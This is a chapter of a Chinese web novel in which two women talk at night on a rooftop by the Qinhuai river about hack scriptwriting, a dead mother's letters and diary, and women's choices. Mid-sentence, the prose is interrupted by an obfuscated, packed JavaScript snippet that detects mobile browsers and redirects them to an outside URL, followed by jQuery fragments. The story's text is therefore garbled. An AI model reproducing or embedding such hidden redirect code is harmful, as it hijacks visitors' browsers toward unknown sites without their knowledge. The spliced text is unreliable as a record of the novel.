69.你真的不比吗?
作品:《秦淮烟雨遇故人》 夜里十点,林见月画好了第一集故事,拿下来给杜华年审。杜华年冲着桌子点点头,“放着吧。”
“你不看看吗?有问题我晚上还能加班赶一赶。”林见月搓着手哈着气。
“不用了,你的画我放心得很。回吧,天这么冷。”杜华年掐了烟,从温酒壶里倒了点黄酒。
林见月默了默,“那你少抽点烟,少喝点酒,我走了。明天见。”
“嗯。走吧。”杜华年没看她,轻轻往楼梯偏了偏头。
等姜老板送走最后一桌客人,跟她打完招呼,海师傅也跟她交代了灶上有浇头,晚上饿了可以下面条,又听到一楼大门落锁的声音之后,杜华年披起羽绒服,拿了黄酒瓶上了天台。
她挺喜欢林见月这个四面漏风的小棚屋,伸手够一够,就能摸到一个过了百年的檐角。猫猫已经穿上了小棉衣,蹦跶着小短腿从三楼跑到四楼,跟在她脚边。她怕猫猫冷,把她抱起来放在了林见月的椅子上。她抽着烟,喝着酒,靠在加固过的木头栏杆上,看着寂静下来的秦淮河。
像穿越了一样,秦淮回到了杜牧的那个秦淮。
身后似乎响起了脚步声,猫猫突然狂叫着要跳下来,奈何腿太短跳不动,只能拼命爬起来朝后看。杜华年吓了一跳,整个心脏都要蹦出来了,猛一回头,看见曾倩僵在原地,一脸诧异尴尬。
她呼一口气,“还以为进贼了呢……”深深抽了一口烟,“你怎么没走?已经锁门了你知道吗?”
曾倩走过来摸了摸猫猫的头,“我的剧本还没水完,今天得通宵了,干脆不回去了。”
杜华年本来想问她现在住哪里,却收住了。
曾倩看着她手上夹着的烟,开口,“慕华教的办法挺管用的。”过了一会儿又说:“我要是听你的话,或者……有耐心再等等……或许还有更好的办法……”
杜华年吐出一口烟,“你觉得水剧本是差吗?什么是好,什么是差?阿倩,你是不是以为我没水过剧本?”她转头看着曾倩。
曾倩有些震惊,但心里又觉得什么奇怪的事发生在杜华年身上都不奇怪。杜华年喝一口酒,举着酒瓶子自顾自说:“我读书的时候,有段时间和我爹吵架吵得有点狠,他就不让我妈再给我打生活费了。我就是靠写这种小烂剧活的。你别说,写惯了还挺爽的,很顺,非常顺,来钱也快,接的活也多,觉得自己的想法、灵感、创意,毫无阻碍,源源不绝地往外倒,那感觉真是……觉得自己特别厉害。”她又喝了一口酒,抬头望明月。
曾倩眨眨眼,“可是我没有写得顺的感觉啊……”一说完,突然的,她感到了什么,叹出了一点哭腔,“所以嘛!所以嘛!我就是比你差啊,差太多了!我妈说得对。”
杜华年再吸一口烟,掐了,“你等着。”她走下三楼,没一会儿又上来了,手里多了两样东西。曾倩看着她消失又出现,递过来一个很旧的牛皮纸袋。“这是你妈妈给她的老师写的信。”
“刘白的爷爷?”曾倩接过来。杜华年点点头。曾倩打开了牛皮纸袋,取出一叠折好的信纸。信纸已经旧如梧桐枯叶,展开来,钢笔写的字体顿挫有力,间距略宽,笔画英丽,就是有点潦草。曾倩借着小棚屋的灯看了起来,许久,比看完一遍要久。她有些脱力,扶着椅背,猫猫仰起脖子轻轻舔她的手。她转头抱起猫猫,坐在了椅子里。
“看完了?”杜华年问。
“嗯。”曾倩看见她手上的酒瓶,那是一个有着优美颈部线条的瓷瓶。她问,“我也想喝点。”
“你还要加班,咖啡或者茶会更好。”杜华年仰头喝干,“看完什么感受?”
曾倩很不满,又是这个问题,她想起训练写剧本的时光,她也老是问这种问题。她感到短促但暴烈的崩溃,双手捂脸,埋下头去,压在猫猫背上,“我拖累她了。”声音闷闷地传来。
杜华年又点了一支烟,念起来,“‘我时常想,如果我听了您的话,没有这么早生下孩子,或许我不会走入穷巷,进退维谷。’是这句话吧?我就知道,你看完了会更觉得她后悔了,觉得她否定你,嫌弃你,不爱你,对吧?”
杜华年背的一字不差,曾倩从手里抬起头来,看着桌上陈旧的信纸,“你跟我说她就是意外死的,那时我才想起来,我原先的目标是找到证据,证明那个小三和我爸害死她,可是我其实已经忘了,我忘了……我一直埋头往前跑,跑啊跑,那么努力,那么辛苦,可是我都忘了我是为什么跑,要跑到哪里去,我就那么一直跑,还嫌你拖着我,嫌你停下来……”她皱起了眉头,神色分外悲戚,“哈哈,我就是个笑话!哈哈哈……”
她悲切地大笑起来,就和杜华年刚才接电话时一模一样。
是啊,她已经忘了初衷,忘了来路。或者说,找出证据还是复仇,根本只是掩饰她欲望的借口,她内心深处唯一想做的事,是成为杜华年、超越杜华年、反叛杜华年。因为只有这样,才能向华丽娟反问一句:你看,你爱她,不爱我,选错了吧?我才值得爱!但我现在不要你的爱了!
何尝不是一种血泪。
杜华年手上另一个东西正是华丽娟的日记本,她也放在桌上,压在信纸上,“阿倩,你要允许你妈妈是一个普通女人。我们每个人都会有崩溃的时候,那种时候说的话一定不是假的,但也一定不是全部真心。这大半年,我一直在想华老师到底想告诉我什么,直到最近,我想明白了。她不想告诉我什么,也不想告诉你什么,她只是想把自己的人生,真实地、尽可能完整地展现给你看。她又怕你看不懂,于是想让我先看。这是一个真实的华丽娟,最真实的一段女人的命运变迁。”杜华年食指点了点日记本,“她就是想告诉你,女人实实在在就是弱势,她想要你不再重蹈覆辙,至于怎么做才能不重蹈覆辙,她也不清楚,不是简单的不重复她的人生就可以的。女人想要不辜负、不后悔,太难了。”杜华年拿起日记本,再一次放进曾倩手里。
“你清楚吗?怎么做?”曾倩问她,满脸狼藉。
“不清楚。”杜华年摇头,“我只能告诉你,她是因为迷失而死,女性价值的失落折磨她,直到她失去全部力气。”
曾倩问,“爱情是虚假的,我应该信吗?”
杜华年吸了一口烟,又吸了一口烟,烟雾弥漫散开,她说:“刘白肯定比你爹强。原来我觉得也肯定比我爹强。但是……我上个月回家,和我妈天天在一起,我想,我爹是不是个好男人,不是我说了算的,应该问我妈。所以啊,我妈和你妈,肯定是不同的女人,但……我妈好像没有觉得迷失。”
曾倩看着她指尖明明灭灭的猩红发呆,风吹得她脸上的泪痕发硬,她说:“我曾经试着抽了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16913519|192409||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一口烟,那味道……呛死我了。刘白说因为有比抽烟更痛的事情,所以烟就好抽了。”
杜华年看看她,伸手摸了摸她怀里猫猫的狗头,“你知道我水剧本的时候为什么那么顺手吗?因为它不用管逻辑,不管真实与否,不管观众看到会不会骂人,不管我写的是不是自相矛盾前言不搭后语。什么都不管,不用按照一个好故事的标准去要求自己的时候,是最好写的时候。那你知道我为什么后来不写了?”
曾倩很少见到她这样自顾自地说话,可能是因为她喝了不少酒。曾倩猜,“后来你妈又给你打生活费了?”
“从那之后,我没拿过他们生活费了。”杜华年深深吸了一口烟,吸进肺里再吐出来,“是李雯,她那会儿看了我在校内发的散文,特地跑过来要请我吃饭。她问我后来怎么不写了?我说我没空,要赚钱。她又问我写这些散文不能赚钱吗?我说太慢了,这些好故事它都不好写啊!你猜她怎么说?嘿嘿……”她突然笑了,好像是心里突然一痒,“她说她有钱,当即就给我掏了五千块现金,是从她身上所有口袋里摸了一遍的,还说回去后会再给我转五千,要我别写那些乱七八糟的了,写个好故事,她想要一个好故事。”
曾倩感觉今天的杜华年很不一样,她今天是外放的,拿掉了某种封印的。
“我觉得很有趣,也不可能拒绝这种挑战,于是我拿了她的钱,回去推了所有工作,开始构思一个好故事。结果……”她神情骤然陷入孤寂,“结果我写不出来了,那些我原本随意就可以驱使的字句、段落、章节、结构、起伏、开始和结束,都变得很难很难,我一提笔,脑子里就全是小烂剧里的狗血桥段,转折全靠旁白,故事进展全靠台词,人物……没有人物可言,因为没有什么核心支撑不同性格的人物,全都是工具人。幸好李雯人傻钱多,没有天天催我,我花了半年才写完初稿给她看,但其实,这里头有四个月,我是在找回原来的我。”
这实在出乎曾倩的意料,好半天她才反应过来,“那你还让我水剧本?”
“你没有踩过底线,就永远不知道那是你的底线。我再也不会去写这些烂剧,是因为我写过这些烂剧。我体会过它的好,也体会过它的坏,这才是最坚实的选择。你阴差阳错地尝试一下,以后也不至于因为没试过而误入歧途。”
“我又不傻,什么高什么低我还是分得出来的。”曾倩嘴硬。
“那是你不知道他们会给你多少钱,你也不知道没钱吃饭的窘迫是会压垮所有人的。就算这两样对你来说都不是诱惑,但,人总是贪婪的,你会想如果,如果我可以两者兼得呢?如果我比杜华年有定力呢?诸如此类,无穷无尽。”
曾倩仰望着她,泪眼汪汪地,脱口就说:“我怎么可能敢跟你比呀!”
杜华年斜眼看她一眼,笑着掐了烟,“你真的不比吗?”她转身重新走向了栏杆,“放心吧,很快,你就能拿回你的卖身合同。”
曾倩知道她的笑里带着善良的讽刺,是啊,她心里可不就是时时刻刻都在跟她比吗?她看着她轻趴在栏杆上的背影,感觉就算她裹在臃肿羽绒服里,下一秒也可能随风飘走。她默默收起日记和信,下了楼。
“其实,李雯后来也变了,叫我写好故事的是她,叫我跟着市场写的,也是她。”杜华年迎风遥望秦淮河,淡淡自语。

